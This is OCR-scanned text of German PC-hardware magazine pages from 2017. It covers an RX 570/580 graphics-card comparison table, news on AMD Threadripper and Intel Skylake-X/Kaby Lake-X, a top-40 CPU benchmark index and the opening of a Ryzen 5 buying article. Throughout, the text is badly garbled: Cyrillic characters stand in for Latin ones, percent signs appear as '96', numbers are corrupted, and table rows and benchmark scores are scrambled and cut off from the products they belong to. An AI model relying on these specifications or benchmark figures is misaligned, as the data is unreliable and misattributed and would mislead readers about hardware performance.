180W GPU-TDP; Temp-Target 65 °C; Lüfter drehen ab -54 °C 


2,42 
43/65/65 Grad Celsius 


GPU-TDPs: 160W (Boost) bzw. 135W (Silent) — bewertet mit 
Boost (Werkszustand); TT 74 °C; Lüfter drehen ab -53 °C 


2,10 
39/75/75 Grad Celsius 


Lautheit (+PWM) aus 50 cm (2D/Spiel/Extremfall) 


0,0 (passiv)/2,0 (43 %)/2,3 (45 %) Sone 


0,0 (passiv)/3,5 (54 %)/3,5 (54 %) Sone 


0,0 (passiv)/1,0 (27 %)/1,7 (33 96) Sone 


Spulenpfeifen/-zirpen (unter Last) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Gemessener Verbrauch 2D/UHD-Video/2 LCDs 


16/28/40 Watt 


14/26/37 Watt 


15/26/34 Watt 


Verbrauch Crysis 3/Anno 2070/Extremfall 


194/205/210 Watt (Powertune: Standard) 


193/222/226 Watt (Powertune: Standard) 


179/202/221 Watt (Powertune: Standard) 


Maximale GPU-Übertaktung (UHD-stabil) 


1.475 MHz mit max. Voltage/Fan via Wattman (+12 %) 


1.475 MHz mit max. Voltage/Fan via Wattman (+5 %) 


1.450 MHz mit max. Voltage/Fan via Wattman (+10 %) 


Maximale RAM-Übertaktung (UHD-stabil) 


4.500 MHz mit max. Voltage/Fan via Wattman (+13 %) 


4.500 MHz mit max. Voltage/Fan via Wattman (+13 %) 


4.100 MHz mit max. Voltage/Fan via Wattman (+17 %) 


Spannungs-/Power-Änderung in Tools möglich? 


Ja (GPU/RAM-Ctlr. bis 1,2 Volt), Powerlimit bis +50 96 


Ja (GPU/RAM-Ctlr. bis 1,2 Volt), Powerlimit bis +50 % 


Ja (GPU/RAM-Ctlr. bis 1,15 Volt), Powerlimit bis +50 96 


Länge/Breite der Karte; Stromstecker 
Leistung im PCGH-Index (60 %) 


27,5 (PCB 26,7x11,2)/3,5 cm; 1 x 8-Pol (vertikal) 
2,96 


Q Leise Kühlung 
© 3 Betriebsmodi via Gaming App ... 
©... aber kein Dual-BIOS 


30,0 (PCB 28,5x11,7)/4,5 cm; 1 x 8-Pol (vertikal) 
2,86 


© Hoher Boost über 1,4 GHz 
© Eiskalt und gut übertaktbar ... 
© ... aber unnötig laut (manuell behebbar) 


26,0 (PCB 24,0x10,7)/3,8 cm; 1x 8-/1x 6-Pol (vertikal) 
3,05 


© Knapp die schnellste RX 570 
© 8 GiByte Speicher 
© Sehr leise Kühlung 


GRAFIKKARTEN 


Produktname 
Hersteller/Webseite 


RX 580 Dual 04G 


Asus (www.asus.com/de) 


RX 570 Red Devil 


Powercolor (www.powercolor.com/de) 


97/2017 


Sapphire 
RX 570 Pulse ITX 


Нагйшаге 


RX 570 Pulse ITX 


Sapphire (www.sapphiretech.com) 


Ca.-Preis/Preis-Leistungs-Verhältnis 


2D-Takt GPU/RAM (Spannung) 


Ca. € 250,-/befriedigend 


Ca. € 220,-/befriedigend 


Ca. € 180,-/gut 


PCGH-Preisvergleich www.pcgh.de/preis/1610054 


www.pcgh.de/preis/1609990 


www.pcgh.de/preis/1610160 


300/300 MHz (0,800 VGPU) 


300/300 MHz (0,7875 VGPU) 


300/300 MHz (-0,725 VGPU) 


3D-Basis-/Boosttakt GPU/RAM (Übertaktung) 
Ausstattung (20 %) 
Speichermenge/Anbindung 


1.260+ (max. Boost: 1.360)/3.500 MHz (effektiv kein ОС) 
2,50 
4.096 MiByte (256 Bit) 


1.320 (max. Boost: 1.320)/3.500 MHz (46/0 % OC) 
2,55 
4.096 MiByte (256 Bit) 


.130+ (max. Boost: 1.244)/3.500 MHz (effektiv kein OC) 
3,00 
4.096 MiByte (256 Bit) 


Speicherart/Hersteller 


7-Gbps-GDDR5 (Elpida W4032BABG-70-F) 


7-Gbps-GDDR5 (Elpida W4032BABG-70-F) 


8-Gbps-GDDR5 (SK-Hynix H5GCA4H24AJR-ROC; 1,5V) 


Monitoranschlüsse 


2 x Displayport 1.4, 2 x HDMI 2.0b, 1 x DVI-D 


3 x Displayport 1.4, 1 x HDMI 2.06, 1 x DVI-D 


x Displayport 1.4, 1 x HDMI 2.0b, 1 x DVI-D 


Kühlung Eigendesign, Dual-Slot, 2 DT-Heatpipes à 8 mm, 2 x 95 mm ` |Eigendesign, Dual-Slot, 4 Heatp. (2 x 8, 2 x 6 тт), 3 х 75 — |Eigendesign, Dual-Slot, 2 Heatpipes à 6 mm, 1 x 85 mm axial, 
axial, kleines, verschraubtes Kühlprofil für VRMs (RAM: blank) | тт axial, Korpus bedeckt VRMs & RAM; Backplate (о. Pads) |Korpus bedeckt Spannungswandler und Speicher 
Software/Tools/Spiele GPU Tweak II (Tweak-Tool), Treiber, Software Treiber reiber 


Handbuch; Garantie 


Faltblatt (deutsch); 3 Jahre 


Faltblatt (deutsch); 2 Jahre 


altblatt (deutsch); 2 Jahre 


Kabel/Adapter/Beigaben 


Devilclub-Einladung (für Support, BIOS-Updates etc.) 


Einladung zum „Sapphire Select" Cup (für Support) 


Sonstiges 


Eigenschaften (20 %) 
Temperatur GPU (2D-Leerlauf/Spiel/Extremfall) 


Custom-PCB mit 6 GPU-Phasen; 145W GPU-TDP; Temp. Target 
70 °C; Lüfter drehen ab -55 °C GPU-Temperatur 


2,38 
39/72/72 Grad Celsius 


GPU-TDPs: 140W (Boost)/126W (Silent) — bewertet mit Boost 
(Werkszustand); Design wie RX 480 RD; Lüfter drehen ab -59 °C 


2,38 
34/78/80 Grad Celsius 


Custom-PCB mit 4+1 Phasen; GPU-TDP: 120W, Temp. Target 
72 °C; Lüfter dreht ab -55 °C GPU-Temperatur 


2,04 
39/72/72 Grad Celsius 


Lautheit (+PWM) aus 50 cm (2D/Spiel/Extremfall) 


0,0 (passiv)/4,1 (81 %)/4,1 (81 96) Sone 


0,0 (passiv)/2,7 (64 %)/5,2 (82 %) Sone 


0,0 (passiv)/0,9 (44 %)/1,2 (46 96) Sone 


Spulenpfeifen/-zirpen (unter Last) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Unauffällig (erst ab hohen vierstelligen Fps) 


Gemessener Verbrauch 2D/UHD-Video/2 LCDs 


14/25/35 Watt 


13/24/33 Watt 


13/25/33 Watt 


Verbrauch Crysis 3/Anno 2070/Extremfall 


180/181/185 Watt (Powertune: Standard) 


190/225/260 Watt (Powertune: Standard) 


143/144/147 Watt (Powertune: Standard) 


Maximale GPU-Übertaktung (UHD-stabil) 


1.400 MHz mit max. Voltage/Fan via Wattman (+12 %) 


1.375 MHz mit max. Voltage/Fan via Wattman (+4 %) 


1.375 MHz mit max. Voltage/Fan via Wattman (+22 %) 


Maximale RAM-Übertaktung (UHD-stabil) 


4.000 MHz mit max. Voltage/Fan via Wattman (4-14 96) 


4.100 MHz mit max. Voltage/Fan via Wattman (+17 96) 


4.100 MHz mit max. Voltage/Fan via Wattman (+17 96) 


Spannungs-/Power-Änderung in Tools möglich? 


Ja (GPU/RAM-Ctlr. bis 1,2 Volt), Powerlimit bis +50 96 


Ja (GPU/RAM-Ctlr. bis 1,15 Volt), Powerlimit bis +50 96 


Ja (GPU/RAM-Ctlr. bis 1,15 Volt), Powerlimit bis 4-50 96 


Länge/Breite der Karte; Stromstecker 
Leistung im PCGH-Index (60 %) 


24,1 (PCB 24,1x10,8)/3,5 cm; 1 x 8-Pol (vertikal) 
3,04 


© Schneller als RX 570/4G 
© Relativ sparsam 
© Schwacher Kühler 


30,0 (PCB 24,0)/3,5 cm; 1 x 8-Pol (vertikal) 
3,08 


© Konstanter, hoher Boost 
© Dual-BIOS 
© Platzbedarf (Länge -> Gehäuse ausmessen) 


17,0 (PCB 17,0x10,4)/3,5 cm; 1 x 6-Pol (vertikal) 
3,18 


© ITX-tauglich (17 cm Länge) 
© Leise und sparsam, ... 
©... aber stark powerlimitiert (geringer Boost) 
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AMD mit „Threadripper” und Raven Ridge 


Noch im Sommer will AMD mit dem 16-Kern-Prozes- 
sor ,Threadripper" und einer neuen Plattform auch 
den High-End-Desktop-Markt aufmischen. 


er erfolgreiche Angriff auf Intel mit den 

Ryzen-7-Achtkernern machte AMD Mut, auch 
wenn der Core i7-6950X nicht nur wegen seines 
Preises unantastbar blieb. Nun will AMD noch ei- 
nen drauflegen und Intel auch bei der Kernzahl 
und damit bei der Performance den Schneid ab- 
kaufen. Der martialisch klingende „Threadripper“ 
soll mit 16 Kernen plus SMT nur so durch die Pro- 
grammfäden („Threads“) durchfegen/durchrasen 
(„to rip through“) und hätte vier Kerne mehr als 


NYZEN 


THREADRIPPER 


Prozessoren 


AMD- und Intel-Prozessoren, Prozessorkühler, Wärmeleitpasten 


selbst Intels kommendes Top-Modell (s. u.) zu bie- 
ten. Dazu kommt, dass die Speicherschnittstelle 
mit ihren vier Kanälen auch diese letzte Basti- 
on der Sockel-2011-CPUs knackt. Threadripper 
kommt im Sommer 2017 auf den Markt und wird 
eine neue, eigene Plattform erfordern, also nicht 
auf AM4-Boards passen. Er basiert auf den eben- 
falls vorgestellten Server-CPUs „Epyc“ (vormals un- 
ter dem Codenamen Naples laufend, s. Bild rechts 
oben) und teilt sich wohl auch die Plattform mit 
diesen. Er kommt allerdings mit „nur“ zwei (ak- 
tiven) der gezeigten Achtkern-Dies aus. Ob und 
wann es verschiedene Modelle geben wird, steht 
nicht fest. Gut möglich, das Threadripper auch al- 


RYZEN 


MOBILE 


CONSUMER 2H17 
COMMERCIAL 1H18 


en"-Based APU 
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leinstehend ver- 
wird. 
sieht als 


marketet 
AMD 
Zielgruppe 
Nutzer, die 
etwa 3D-Rende- 
ring, Video-Bearbeitung oder 
High-End-Multi-GPU-Gaming betreiben. 


Dazu sollen in der zweiten Jahreshälfte die ers- 
ten Ryzen-APUs mit Vega-Grafik kommen und 50 
Prozent mehr CPU- sowie 40 Prozent mehr GPU- 
Performance bei halbierter Leistungsaufnahme 
bieten: Man darf also gespannt sein! (cs) 


~M 
СЛ Premium Form Factors 


On-Die a” Graphics 


TARGETING THE 


Upto 


DESKTOP SYSTEMS 


Cores Threads 


IN AN 


Bilder: AMD 


Intel: Skylake X und Kaby Lake X im Sockel 2066 


Mit ,Basin Falls" steht eine neue Plattform in den 
Startlóchern, um AMD Paroli zu bieten. Ihr Sockel 
2066 soll sowohl Skylake X als auch Kaby Lake X 
aufnehmen und zur Computex vorgestellt werden. 


uch Intel bleibt angesichts der AMD-Offen- 
AS nicht untátig. Die laut Gerüchteküche 
eigentlich zur Gamescom angedachte Vorstel- 
lung der Sockel-2066-Plattform „Basin Falls“ mit 
X299-PCH wurde Ende Mai/Anfang Juni zur 
Computex-Messe in Taiwan vorgezogen. Auf ihr 
sollen, geht es nach durchgesickerten Intel-Prä- 
sentationsfolien, künftig Core-i9-Prozessoren 
Platz finden. So sollen die Mehr-als-Quadcore- 
Modelle in Bälde heißen - wohl einerseits, um 
sich von der eigenen Mittelklasse abzusetzen, 
und andererseits, weil auch AMD die „7“ erfolg- 
reich mit seinen Ryzen-Achtkernern besetzt hat. 
Doch das ist noch nicht alles. 
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Neben den auf Server-CPUs basierenden Sechs- 
bis Zwölfkernern sollen auch aufgebrezelte Ka- 
by-Lake-Modelle mit auf 112 Watt erhóhter TDP 
und deaktivierter integrierter Grafik in die En- 
thusiasten-Plattform passen, aber nach wie vor 
nur über zwei Speicherkanäle und 16 PCI-E-3.0- 
Lanes verfügen. Abgesehen vom Extrem-OC-Be- 
reich, wo der Sockel 2066 mehr Spielraum bie- 
tet, erschliefst sich uns der Sinn dieses Schrittes 
für Quadcores im High End nicht so ganz. 


Neben schnellerem Speicher (DDR4-2666) soll 
insbesondere auch der Turbo-Takt deutlich 
hóher als bisher ausfallen. Von bis zu 4,5 GHz 
Single-Core-Turbo spricht die Folie. Beim Sky- 
lake X wird die Cache-Architektur überarbeitet 
und der L2-Cache auf 1 MiByte pro Kern vervier- 
facht. Dafür wird der von allen Kernen gemein- 
sam genutzte L3-Cache von 2 auf 1,375 MiByte 
pro Kern reduziert. Abseits unserer Tabelle ist 
auch eine TDP von 160 Watt im Gesprách. (cs) 


Modell Architektur | Kerne/ | Basis- | Turbo Turbo L3- PCI-E- | Speicher TDP 
Threads | takt 2.0 3.0 Cache | Lanes 
Core i9-7920X | Skylake X 12/24 | unbek. | unbekannt | unbekannt | 16,5 MiB 44 | 4x DDR4-2666 | 140 W 
Core i9-7900X | Skylake X 10/20 |33GHz| 4,3 GHz 45 GHz |13,75MiB | 44 | 4x DDR4-2666 | 140 W 
Core i9-7820X | Skylake X 8/16 |3,6 GHz | 43 GHz 4,5 GHz 11,0 MiB 28 | 4x DDR4-2666 | 140 W 
Core i9-7800X | Skylake X 612 356GHz| 40 GHz - 8,25 MiB 28 | 4x DDR4-2666 | 140 W 
Core i7-7740K | Kaby Lake X 4/8 4,3 GHz | 4,5 GHz - 8 MiB 16 | 2x DDR4-2666 | 112 W 
Core i5-7640K | Kaby Lake X 4/4 4,0 GHz | 4,2 GHz 6 MiB 16 | 2х DDR4A-2666 | 112 W 
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PCGH-Index: Top 40 CPUs 


BESSER $ | Normierte Leistung 


Preis-Leistungsverhältnis B Gesamtindex Ей Spieleindex Bi Anwendungsindex 


Intel Core i7-6950X 
3,04 GHz — 10c/20t — So. 2011-3 


8,2 % – 1.690 € 


Intel Core i7-6900K 
3,24 GHz - 8c/16t — So. 2011-3 


11,9 96 – 1.090 € 


Intel Core i7-5960X 
3,04. GHz — 8c/16t — So. 2011-3 


10,4% — 1.125 € 


Intel Core i7-7700K 
42+ GHz — AcfBt — So. 1151 


31,9% -350 € 


AMD Ryzen 7 1800X 
3,6+ GHz - 8c/16t — So. AM4 


23,5 % – 490 € 


Intel Core i7-6800K 
3,4+ GHz — 6c/12t — So. 2011-3 


26,4 % – 415€ 


Intel Core i7-5930K 
3,5+ GHz — 6c/12t — So. 2011-3 
18,5 % – 580 € 


Intel Core i7-5775C 
3,3+ GHz — Act - So. 1150 


26,1 % – 390 € 


Intel Core i7-6700K 
40+ GHz — 40/81— So. 1151 


31,9% -325 € 


AMD Ryzen 7 1700X 
3,4+ GHz - 8c/16t- So. AM4 


29,0 % – 380 € 


Intel Core i7-5820K 
3,34 GHz — 6c/12t — So. 2011-3 


26,1% – 400 € 


AMD Ryzen 5 1600X 
3,64 GHz — 6c/12t — So. AM4 


40,2 % — 255 € 


Intel Core i7-4960X 
3,64 GHz — 6c/12t — So. 2011 


8,8 % — 1.140€ 


AMD Ryzen 7 1700 
3,04 GHz — 8c/16t — So. AM4 


33,0 % -315€ 


Intel Core i7-3960X 
3,34 GHz — 6c/12t — So. 2011 


9,6 % — 1.000 € 


Intel Core i7-4790K 
40+ GHz — Ac/Bt — So. 1150 
26,3 % – 360 € 


AMD Ryzen 5 1600 


NEU | 3,2+ GHz — 6с/121 – 50. AM4 


46,0 % -210 € 


Intel Xeon E3-1230 v5 
3,4+ GHz — AclBt — So. 1151 


34,5 % – 265 € 


Intel Core i7-4770K 
3,5+ GHz — Acl8t — So. 1150 


24,7 % – 360 € 


Intel Core i5-7600K 
3,8+ GHz — Ac/4t — So. 1151 


36,8 % — 230 € 


100 % 100 % 
AN6:37  CR3:193 F15:130 5С2:40 FCB:24.097 CB15:1.805 ALR:90 x264:61 
ACS:137 DAI:138 FC4:90 — TW3:135 ЗМ: 21.430 7z:120 BLD:117 yCr70 


Intel Core i5-5675C 
3,14 GHz - Ac/At — So. 1150 


30,6 % - 265 € 


944% 


96,8 % 90,7% 
AN6:36 CR3:177 F15:124 5С2:38 FCB:24.761 CB15:1.483 ALR:93 x264: 72 
ACS:136 DAI:136 FC4:89 — TW3:135 — 3DM:19232 7z:126 BLD:143 yCr: 75 


AMD Ryzen 5 1500X 
3,5+ GHz - Acl8t — So. AM4 


43,9 % – 190 € 


85,6% 


AN6:29  CR3:164 F15:115 
ACS:127 АІ: 130 FC4:84 


SC 21 
TW3: 124 


Intel Core i7-4820K 
3,7+ GHz - AcfBt 50. 2011 


22,3 % - 360€ 


AN6: 40 
ACS: 131 


CR3:144 F15:89 
АІ: 138  FC4:131 


SC2: 62 
TW3: 126 


Intel Core i5-7500 
3,4+ GHz - 4044—50. 1151 


40,2 % – 195 € 


Intel Core 17-3770К 
3,5+ GHz - 4081—50. 1155 


21,3% -370€ 


Intel Core i7-990X 
3,5+ GHz - 60/12t- So. 1366 


8,6 % — 940 € 


Intel Core i5-6600K 
3,5+ GHz - AcfBt — So. 1151 
33,5 % – 225 € 


AN6:32  CR3:150 F15:93 SC2:33 FCB: 23.143 СВ15: 1.639 ALR: 105 x264: 64 
ACS:110 РАІ: 114 РСА: 77  TW3:110 — 3DM: 19.312 7z:182 BLD: 140 yCr: 109 
816% 

70,2% 

AN6:34  CR3:154 F15:104 SC2:34 FCB: 19.695 CB15:1.114 ALR: 111 x264: 97 

ACS:130 DAI:131 FC4:93  TW3:118 ЗОМ: 15.644 7z:170 BLD: 186 yCr: 108 
80,2% 

67,9% 

AN6:33 САЗ: 154 Р15:105 5С2:32 FCB: 19.845 СВ15: 1.086 ALR: 116 х264: 102 

ACS:127 РАІ: 130 FC4:94 ТМІЗ:119 ЗОМ: 13.942 72: 165 BLD: 198 yCr: 107 
793% 

95,6 % 54,7% 

AN6:40  CR3:129 F15:95 5С2:47 FCB: 14.590 CB15:787  ALR:133 х264: 125 


ACS:127 DAL 139 FC4:128  TW3:131 


Intel Core i5-7400 
3,0+ GHz - 4041—50. 1151 


41,9 % – 175€ 


79,1% 


Intel Core i5-4690K 
3,5+ GHz - 4044—50. 1150 


28,8 % — 250 € 


AN6:37  CR3:137 F15:80 5С2:55 FCB: 16.191 CB15:890 ALR:127 x264: 102 

ACS:120 DAI:133 FC4:124 TW3:119 ЗОМ: 13.028 7z:195 BLD:222 vr 106 
78,8% 

71,3% (80,9 % 

AN6:31  CR3:146 F15:91 5С2:30 FCB:21.955 CB15:1.557 AIR: 111 x264: 68 

ACS:106 DAI 109 FC4:75 — TW3:105 3DM:18.246 72: 189 BLD:149 yCr: 113 


AMD Ryzen 5 1400 


DIET] 3,2+ Ghz- 4ust- so.ama 


44,3 % - 165 € 


65,8 % 
AN6:32 САЗ:149 F15:102 5С2:32 
ACS:122 DAI:129 FCK92  TW3:115 


Intel Core 15-6500 
3,24 GHz - Ac/4t — So. 1151 


35,3 % - 200 € 


AN6:31 CR3:142 F15:89 5С2:33 
ACS:107 DAI:113 FC484 — TW3:104 


Intel Core i5-4670K 
3,4+ GHz - 4044—50. 1150 


28,2 % – 250€ 


82,1% 64,3 % 


AN6:31 СВЗ: 137 F15:102 5С2:25 
ACS:120 РАІ: 122 FC4:84 ТМЗ: 114 


АМО ЕХ-9590 
4,74- GHz – 4m/8t – So. AM3+ 


43,9 % - 165 € 


Intel Core i7-2600K 
3,4+ GHz - Ac/8t — So. 1155 


24,0 % – 290 € 


AN6:29 СВЗ: 137 F15:89 5С2:27 FCB: 20.633 СВ15: 1.426 ALR:117 х264: 73 

ACS:105 РАІ: 104 FC4:70 — TW3:102 ЗРМ: 16.798 72: 201 BLD: 161 yCr: 122 
722% 

79,9 % 60,8 % 

AN6:30 САЗ: 131 Р15:95 5С2:25 FCB: 19.757 CB15:955 АЦА: 129 х264: 124 

АСЅ:118 РАІ: 118 FC4:83 TW3:112 ЗМ: 13.357 72: 163 BLD: 235 yCr: 215 


Intel Core i3-7350K 
4,2 GHz - 2c4t 50. 1151 


41,9% - 160 € 


I HE 
AN6:34  CR3:129 F15:71 SC2: 44 
ACS:110 РАІ: 113 ЕС4: 113 ТМЗ: 105 


FCB: 16.360 СВ15: 857 AR 132 x264:122 
3DM: 11.924 72: 197 BLD: 231 yCr: 128 


Intel Core i5-3570K 
3,4+ GHz - 40/41 — So. 1155 
25,0 % — 265 € 


65,1% 


АМР ЕХ-8370 
4,0+ GHz – 4m/8t — So. AM3+ 


41,7% — 160 € 


AMD FX-8350 
4,0+ GHz — 4m/8t – So. AM3+ 


55,3% - 120€ 


AN6:30 САЗ: 133 F15:87 $C2:28 FCB: 17.821 CB15:1.149 ALR: 118 x264: 90 
ACS:104 DAL 106 ЕС4:79 — TW3:102 ЗМ: 15.853 72: 236 BLD: 196 yCr: 158 
69,5 % 

79,5% 54,4% 

AN6:31 CR3:118 F15:75 SC2:39 FCB:14.518 CB15:799 ALR:140 x264:114 
ACS:109 DAI:115 ЕС4:112 TW3:105 3DM: 11.618 7z: 221 BLD:248 yCr:117 
x ES 

76,9 % 53,3 % 

AN6:30 CR3:119 F15:69 SCH 41 FCB: 15.223 CB15:797  ALR:142 x264:129 


ACS:105 DAI:107 FC4:108  TW3:101 — 3DM: 11.083 7z:211 BLD:247 yCr: 135 


Intel Core i3-6100 
3,7 GHz — 2c/4t - So. 1151 


53,3 % – 110€ 


AN6:30  CR3:102 15:68 5С2:50 
ACS:100 РАІ: 111 FC4:117 TW3:95 


РСВ: 12.716 CB15:676 AR 129 x264:126 
3DM: 9.013 72: 256 Вір: 332 yCr: 130 


АМО ЕХ-8300 
3,3+ GHz - 4m/8t – So. AM3+ 


61,8 % —95€ 


Spiele (links): Anno 2205, Assassin's Creed Syndicate, Crysis 3, Dragon Age: Inquisition, F1 2015, Far Cry 4, Starcraft 2 LotV, Witcher 3: gerundete Ригс 
AA und АЕ), mehr ist besser. Anwendungen (rechts): Fritz Chessbench, 3D Mark Firestrike Physics, Cinebench R15: Punkte (mehr ist besser), 7-Zip 15.21, Adobe Lightroom 5.7.1, Blender 2.76, x264, y-Cruncher: Sekunden (weniger ist 
besser) System: 8 GiByte je Speicherkanal, Turbo und Energiesparfeatures an; Windows 10 64 Bit, Grafikkarte: Geforce GTX 980 Ti @ 1.380/3.900 MHz 


ra. 
AN6:39  CR3:95 Е15:65  SC2:44 FCB:11.377 CB15:567  ALR:140 x264:160 
ACS:99  DAE108 FC4:125 TW3:92 3DM:8.339 72: 279 BLD: 387 yCr: 176 
Г O 
AN6:29 CR3:104 1:77 5С2:31 FCB: 13.551 CB15:818 ALR:123 x264:126 
ACS:94 DAIL100 FC4:94 TIW3:93 ЗОМ: 12.185 7z: 283 Вір: 266 yCr:209 
НИ o 
AN6:30 САЗ: 102 F15:78 5С2:25 FCB: 13.903 СВ15: 664 ALR 147 х264: 167 
ACS:105 DAL 109 ЕС4:92 ТМЗ: 100 3рМ: 9.892 72: 227 Вір: 318 yCr: 282 
НИ г: 

m 
АМ6:29 CR3:94 15:65 OM  FCB:11.455 СВ15:610  ALR 142 x264:139 
ACS:94  DAE103 ЕС4:112 ТМЗ: 89 ЗОМ: 8.101 72: 275 Вр: 361 yCr:143 
OO O 
455% | 
AN6:29  CR3:102 F15:69  SC2:27 FCB: 13.908 CB15:679  ALR:154 х264: 163 
ACS:100 РАІ: 103 ЕС4:92 — TW3:95 3DM: 9.926 72:217 BLD:316 yCr: 292 
НИ 5 
AN6:28 САЗ: 119 F15:64 5С2:17 FCB: 18.987 СВ15: 822 ALR 157 х264: 139 
АС5:95  DAE92 ЕС4:72 ТМЗ: 82 ЗОМ: 12.349 72: 232 BLD: 243 vr 322 
I 
AN6:25 CR3:89 F15:59 — SC2:40 FCB: 11.479 СВ15:611 ALR:139 x264:139 
ACS:89  DAI:97 FC4:106 ТМЗ: 84 ЗОМ: 8.106 72: 281 Вір: 360 yCr: 142 
ЕНИ: 
AN6:26 САЗ: 87 Е15:61 52:38 FCB: 10.594 СВ15: 552 ALR: 152 x264:150 
АС$: 91 ЮА: 97 FC4:107 TW3:84 3DM: 7.431 7z:286 BLD: 392 yCr: 154 
OO o BO 
AN6:31 САЗ:90 Е15:54 5С2:36 FCB: 12.033 CB15:565 ALR 150 x264: 163 
ACS:85 ЮА: 85 ЕС4:98 ТМЗ: 80 ЗОМ: 7.482 72: 288 BLD: 368 yCr: 168 
O BD 
AN6:26 САЗ:93 F15:70 5С2:23 FCB: 12.155 CB15:705 ALR:148 x264: 142 
ACS: 81 DAI:89 FC4:81 IW3:82 ЗОМ: 10.875 72: 321 BLD: 303 yCr: 234 
IN BER 
АМ6:25 САЗ:83 F15:57 SC2:35 FCB:10.519 CB15:561 ALR:152 x264:148 
ACS:89 DAI:92  FC4:96 TW3:81 3DM: 7.426 72:293 BLD: 394 yCr: 156 
x Em 
AN6:31  CRX:89 F15:53 SC2:33 FCB: 11.739 CB15:551 ALR:153 x264: 166 
ACS:84 РА: 83  FC4:96 — TW3:80 3DM:7.280 72:300 BLD:382 yCr: 173 
[| DE 
AN6:25 САЗ:96 Е15:61 SC2:20 FCB: 15.018 СВ15: 727 ALR:146 x264:138 
ACS: 81 ЮА: 81 FC4:79 — TW3:81 3DM: 8.407 7z: 208 BLD: 415 vr 256 
sss. 
40,8% 
AN6:27 САЗ:92 F15:55 5С2:22 FCB: 13.134 СВ15:619 ALR 175 х264:191 
АСЅ:85 ЮА: 89 ЕС4:83 ТМЗ: 84 3DM: 8.971 72:253 BLD: 351 vr 317 
cua г: 
341% 
AN6:27  CR3:78 F15:57 5С2:48 ЕСВ: 8.724 СВ15: 462 ALR:196 x264:191 
ACS: 81 ЮА: 90 ЕС4:108 ТМЗ: 78 3DM: 7.238 72:332 BLD: 417 yCr: 195 
r HERI 
36,4% 
AN6:28 CR3j:80 F15:52 — SC2:26 FCB: 10.891 СВ15: 524 ALR: 159 x264:199 
ACS:82 РА: 86 ЕС4:97  TW3:76 ЗОМ: 6.953 72: 285 BLD: 431 vr: 348 
ЕНИ Ë 
AN6:23 САЗ: 88 Е15:57 52:14 FCB: 13.123 СВ15: 649 ALR: 157 х264: 154 
ACS:77 А: 76 ЕС4:75 ТМ3:77 ЗОМ: 7.842 72:219 BLD: 465 yCr: 269 
ар 
АМ6:22 СЕЗ:88 15:57 SC2:14 — FCB:13.024 CBIS:641 ALR:158 х264:154 
ACS:76 РА: 76 ЕС4:74 ТМЗ: 76 ЗОМ: 7.844 72: 220 BLD: 466 yCr: 271 
НИ г: 
АМ6:23 САЗ: 70 Е15:50 52:40 ЕСВ: 7.705 СВ15: 405 ALR: 230 x264:216 
ACS: 71 ЮА: 81  FC4:93 ТМЗ: 68 ЗОМ: 6.425 72:384 BLD: 473 yCr: 221 
НИ г: 
AN6:21 САЗ:74 15:54 5С2:12 FCB: 11.035 CB15:530 ALR 177 х264: 183 
ACS: 71 ЮА: 65 РС4:65 — TW3:71 ЗОМ: 6.638 72: 237 BLD: 560 yCr:327 
hschnitts-Fps in 1.280 x 720 (max. Details außer Post-Processing, Ambient Occlusion, 
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2 PROZESSOREN | Ryzen 5 (Nachschlag) 


Auf Jahre ausgesorgt 


AMDs vorläufige Ryzenpalette ist nun komplett und die für Spieler besonders interessanten Varian- 


ten sind verfügbar. Wir sagen Ihnen, bei welchem Ryzen-Modell Ihr Geld am Besten angelegt ist. 


MD ist das Comeback mit Ry- 

en wahrlich geglückt. Nicht 
zuletzt spielt dabei auch der im 
Vergleich zu Intel-CPUs günstige 
Preis eine wichtige Rolle. Nach 
dem ersten Schwung ist nun auch 
die Ryzen-5-Reihe komplett und 
wir prüfen mitsamt aktualisierter 
UEFI-Versionen sowie der flotteren 
der beiden offiziell unterstützten 
Speicherbestückungen, wie sich die 
Ryzen-Modelle speziell unter Preis- 
Leistungs-Sicht schlagen. 


Ryzen von 170 bis 500 Euro 

Zwei von drei Ryzen-Produktreihen 
sind nun vollständig: Ryzen 7 mit 
durchweg acht Kernen und die 
günstigeren Ryzen-5-Modelle, von 
denen nur die beiden 1600er sechs 
Kerne besitzen. Der Ryzen 5 1500X 
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und der Ryzen 5 1400 sind lediglich 
mit vier Kernen ausgestattet, letzte- 
rer überdies mit halbiertem Level- 
3-Cache von 8 anstatt 16 MiByte. 
Ansonsten unterscheiden sich die 
bisher vorgestellten Ryzen-Prozes- 
soren nur bezüglich der Taktraten. 


Ryzen 5 & 7 mit SMT 

Bei allen bislang erhältlichen 
Ryzen-7-- und -5-Modellen akti- 
viert AMD die virtuelle Thread- 
verdopplung durch Simultane- 
ous Multithreading. Das ist bei 
Intel-CPUs erst ab Core-i7-Modellen 
jenseits der 300-Euro-Marke res- 
pektive bei den nur in speziellen 
Workstation-Boards laufenden 
Xeon-E3-Modellen unter dem Mar- 
ketingnamen „Hyperthreading“ 
aktiviert. In der Praxis melden die 


Kerne hüben wie drüben dem Be- 
triebssystem die doppelte Anzahl 
an verfügbaren Threads, um Lücken 
im Programmablauf - etwa wegen 
Wartens auf das Ergebnis einer vor- 
hergehenden Berechnung oder der 
Verfügbarkeit von Daten aus Cache 
und Speicher - mit sinnvoller Arbeit 
zu füllen. 


Was bringt SMT? 

Der Nutzen von SMT variiert indes 
stark und pendelt sich zwischen 
zwei Extremen ein. Müssen die Re- 
cheneinheiten zum Beispiel sehr 
häufig auf Daten aus Cache und 
Speicher warten, um weiterarbeiten 
zu können, sind zusätzliche Threads 
hilfreich, um den Gesamtdurchsatz 
zu erhöhen (nach diesem Prinzip 
arbeiten etwa auch moderne Gra- 


fikchips). Im PCGH-Spiele-Parcours 
messen wir in Crysis 3 bis zu 15 % 
Performance-Zuwachs durch SMT 
bei einem Ryzen-Achtkerner. Im 
Mittel unserer Spiele-Benchmarks 
kostet SMT auf dem R7-1800X je- 
doch etwas Leistung. Anwendun- 
gen reagieren tendenziell besser auf 
SMT und bringen etwa in den 3D- 
Rendering-Programmen Cinebench 
R15 oder Blender 2.76 bis zu 40, re- 
spektive 47 % höhere Performance. 
Auch beim Video-Transcoding etwa 
von Ultra-HD-Clips sind etwa 14 % 
mehr Performance durch SMT drin. 
Sind hingegen alle Kerne mit je- 
weils einem Thread bereits optimal 
ausgelastet, wie etwa im syntheti- 
